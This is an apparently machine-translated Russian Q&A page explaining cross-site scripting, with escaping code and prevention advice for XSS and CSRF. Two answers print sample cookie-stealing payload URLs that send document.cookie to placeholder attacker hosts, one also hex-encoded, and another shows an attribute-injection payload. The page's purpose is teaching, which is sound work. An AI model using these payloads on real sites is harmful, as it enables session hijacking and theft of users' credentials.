Как работает XSS? - PullRequest
       26

Как работает XSS?

34 голосов
/ 27 октября 2008

Может кто-нибудь объяснить, как XSS работает на простом английском языке? Может быть с примером. Гугл мало помог.

Ответы [ 6 ]

31 голосов
/ 27 октября 2008

Межсайтовый скриптинг - это уязвимость в безопасности динамических веб-страниц, когда злоумышленник может создать вредоносную ссылку для внедрения нежелательного исполняемого JavaScript-кода в веб-сайт. Наиболее распространенный случай этой уязвимости возникает, когда переменные GET печатаются или отражаются без фильтрации или проверки их содержимого.

Когда жертва нажимает на ссылку, вредоносный код может затем отправить cookie жертвы на другой сервер или изменить уязвимый сайт, внедрить формы, украсть имена пользователей и пароли и другие методы фишинга.

Пример вредоносной ссылки:

http://VulnerableHost/a.php?variable=<script>document.location='http://AttackersHost/cgi-bin/cookie.cgi%3Fdata='+document.cookie</script>

Также часто кодируют вредоносный код, например, в шестнадцатеричном виде:

http://VulnerableHost/a.php?variable=%22%3E%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D%65%6E%74%2E%6C%6F%63%61%74%69%6F%6E%3D%27%68%74%74%70%3A%2F%2F%41%74%74%61%63%6B%65%72%73%48%6F%73%74%2F%63%67%69%2D%62%69%6E%2F%63%6F%6F%6B%69%65%2E%63%67%69%3F%20%27%2B%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3C%2F%73%63%72%69%70%74%3E
19 голосов
/ 10 января 2009

XSS-уязвимость существует всякий раз, когда строка за пределами вашего приложения может интерпретироваться как код.

Например, если вы генерируете HTML, выполняя это:

<BODY>
  <?= $myQueryParameter ?>
</BODY>

тогда, если переменная $myQueryParameter содержит тег <SCRIPT>, то в итоге она выполнит код.

Чтобы предотвратить выполнение ввода в виде кода, необходимо экранировать содержимое должным образом.

Приведенную выше проблему можно решить, поняв, что переменная $myQueryParameter содержит простой текст, но вы не можете просто перейти и вставить простой текст в HTML и ожидать, что он будет работать.

Так что вам нужно конвертировать простой текст в HTML, чтобы вы могли поместить его на свою HTML-страницу. Этот процесс преобразования строки на одном языке в другой, чтобы ее можно было встроить, завершается.

Вы можете экранировать простой текст в HTML с помощью такой функции:

function escapePlainTextToHTML(plainText) {
  return plainText.replace(/\0/g, '')
      .replace(/&/g, '&amp;')
      .replace(/</g, '&lt;')
      .replace(/>/g, '&gt;')
      .replace(/"/g, '&#34;')
      .replace(/'/g, '&#39;');
}
2 голосов
/ 27 мая 2016

На простом английском

XSS - это когда вы вставляете скрипты (то есть код JavaScript) в веб-страницы, чтобы браузер выполнял код. Это злонамеренно, потому что его можно использовать для кражи куки и любых других данных на странице. Например:

HTML-код окна поиска: <input value="*search value here*">

Теперь, если вы вставите " onmouseover="alert(1), конечный HTML будет <input value="" onmouseover="alert(1)"> При наведении указателя мыши на поле поиска будет выполнено «предупреждение».

В "WikiText"

Межсайтовый скриптинг (XSS) - это тип уязвимости компьютерной безопасности, обычно встречающийся в веб-приложениях. XSS позволяет злоумышленникам внедрять клиентские сценарии в веб-страницы, просматриваемые другими пользователями. Уязвимость межсайтовых скриптов может использоваться злоумышленниками для обхода средств контроля доступа, таких как политика того же происхождения.

1 голос
/ 08 апреля 2017

На простом английском языке XSS - это уязвимость системы безопасности, при которой злоумышленник может создать вредоносный скрипт для взлома сайта. Теперь Как это работает?

Поскольку мы знаем, что XSS нуждается в поле ввода, или мы можем сказать, что переменная GET, через которую вводится эхо, возвращается пользователю без фильтрации, а иногда и фильтрации. После запроса он является приемлемым («исходный код») браузером в качестве ответа, чтобы показать содержимое пользователю. Помните, что что бы вы ни написали в поле ввода, оно будет указано в ответе исходного кода . Так что вы должны проверить это, потому что иногда веб-разработчик накладывает ограничение на окно предупреждения.

Если вы в первую очередь злоумышленник, вам нужно знать уязвимость xss, используя тег script.

Например: - оповещение («тест»)

Здесь alert () используется для создания всплывающего окна с кнопкой ОК, и все, что вы написали в скобках, будет всплывать на экране . И теги скрипта невидимы.

Теперь злоумышленник может создать вредоносный скрипт, чтобы украсть куки, украсть учетные данные и т. Д.

Например: - hxxp: //www.VulnerableSite.com/index.php? Search = location.href = ‘http://www.Yoursite.com/Stealer.php?cookie=’+document.cookie;

Здесь ваш сайт является сайтом злоумышленника, на котором злоумышленник может перенаправить cookie жертвы на свой собственный сайт с помощью document.cookie.

Вот так.

Здесь скрипт-тег невидимый

1 голос
/ 17 ноября 2016

Я написал статью о том, что такое XSS и как с этим обращаться как разработчик PHP. Есть также примеры того, как выглядят оба типа атак XSS (постоянные и непостоянные).

Существует два типа атак XSS:

  1. Непостоянный: это был бы специально созданный URL, который включает скрипт как один из параметров целевой страницы. Неприятный URL может быть отправлен по электронной почте с намерением обмануть получатель в щелкнув по нему. Целевая страница неправильно обрабатывает параметр и непреднамеренно отправляет код на компьютер клиента, который был первоначально передан через строку URL.
  2. Постоянный: эта атака использует страницу на сайте, которая сохраняет данные формы в базу данных без правильно обрабатывать входные данные. Злонамеренный пользователь может вставить неприятный скрипт как часть типичного поля данных (например, Фамилия), который запускается в браузере клиента по незнанию. Обычно противный сценарий будет храниться в базе данных и повторяться при каждом посещении клиента на зараженную страницу.

Подробнее здесь: http://www.thedablog.com/what-is-xss/

0 голосов
/ 07 ноября 2012

XSS -

Уязвимость возникает, когда веб-сайт доверяет пользователю и не фильтрует пользовательский ввод. В результате пользовательского ввода на сайте будет выполняться нежелательный скрипт.

  1. Предупреждение:

    • Фильтрация пользовательского ввода с использованием дезинфицирующих средств для ввода HTML

      (например, strip_tags, htmlspecialchars, htmlentities, mysql_real_string_escape в php)

CSRF:

Уязвимость возникает из-за того, что пользователь доверяет сайту, но сайт может получить информацию о пользователе и злоупотреблять ею.

  1. Предупреждение:

    • Уникально автоматически генерирует csrf_token каждый раз, когда отображается форма. Csrf_token отправляется на сервер при отправке формы для проверки. например https://docs.djangoproject.com/en/dev/ref/contrib/csrf/
Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...